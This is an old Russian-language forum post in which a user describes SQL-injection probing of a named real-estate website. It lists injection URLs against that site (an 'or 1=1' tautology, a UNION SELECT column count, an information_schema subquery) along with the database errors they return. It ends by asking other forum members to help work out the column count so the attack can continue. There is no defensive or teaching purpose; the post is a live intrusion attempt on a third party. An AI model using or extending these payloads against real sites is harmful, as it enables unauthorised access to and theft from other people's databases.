19.01.2009, 17:51
|
|
Новичок
Регистрация: 06.02.2008
Сообщений: 10
С нами:
9610999
Репутация:
9
|
|
http://www.usadba.ru/city/flat/213123/?ddd
Unknown column '213123ddd' in 'where clause'
http://www.usadba.ru/city/flat/213123/? or 1=1-- - выполняется на ура
http://www.usadba.ru/city/flat/213123/? union select 1--
пишет
The used SELECT statements have a different number of columns
Количество полей так подобрать и не удалось.
Версия, выше 5й, т.к., information_schema присутствует
http://www.usadba.ru/city/flat/213123/?+AND+(select+*+from+information_schema.tables)=1--
-----
Operand should contain 21 column(s)
Вообщем, если кто сможет подобрать количество полей - отпишитесь пожалуйста.
|
|
|